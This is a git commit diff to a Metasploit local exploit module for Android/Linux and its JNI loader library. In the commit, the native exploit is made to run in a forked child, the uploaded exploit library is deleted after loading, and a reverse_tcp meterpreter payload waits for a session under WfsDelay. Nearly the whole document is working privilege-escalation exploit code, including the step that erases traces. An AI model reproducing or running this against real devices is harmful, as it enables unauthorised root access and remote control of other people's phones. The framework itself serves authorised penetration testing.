fork early and use WfsDelay

bug/bundler_fix
Tim 2016-12-20 00:59:27 +08:00
parent f1efa760df
commit 25a8283af3
No known key found for this signature in database
GPG Key ID: 62361A8B17EEED19
2 changed files with 8 additions and 14 deletions

View File

@ -51,8 +51,10 @@ JNIEXPORT jint JNICALL JNI_OnLoad( JavaVM *vm, void *pvt )
return -1;
}
init_exploit();
int pid = fork();
if (pid == 0) {
init_exploit();
}
return JNI_VERSION_1_4;
}

View File

@ -34,11 +34,11 @@ class MetasploitModule < Msf::Exploit::Local
],
'DisclosureDate' => "May 03 2014",
'SessionTypes' => [ 'meterpreter' ],
"Platform" => [ "android", "linux" ],
'Platform' => [ "android", "linux" ],
'Payload' => { 'Space' => 2048, },
"Arch" => ARCH_ARMLE,
'DefaultOptions' =>
{
'WfsDelay' => 300,
'PAYLOAD' => 'linux/armle/mettle/reverse_tcp',
},
'DefaultTarget' => 0,
@ -88,10 +88,6 @@ class MetasploitModule < Msf::Exploit::Local
]
}
))
register_options(
[
OptInt.new("ListenerTimeout", [ true, "The maximum number of seconds to wait for a session", 300])
], self.class)
end
def exploit
@ -162,9 +158,6 @@ class MetasploitModule < Msf::Exploit::Local
write_file(remote_file, exploit_data)
print_status("Loading exploit library #{remote_file}")
old_timeout = session.response_timeout
print_status("Be patient, this exploit will automatically timeout after #{datastore['ListenerTimeout']} seconds")
session.response_timeout = datastore['ListenerTimeout']
session.core.load_library(
'LibraryFilePath' => local_file,
'TargetFilePath' => remote_file,
@ -172,10 +165,9 @@ class MetasploitModule < Msf::Exploit::Local
'Extension' => false,
'SaveToDisk' => false
)
session.response_timeout = old_timeout
print_status("Loaded library #{remote_file}")
print_status("Loaded library #{remote_file}, deleting")
session.fs.file.rm(remote_file)
print_status("Library #{remote_file} was deleted")
print_status("Waiting #{datastore['WfsDelay']} seconds for payload")
end
end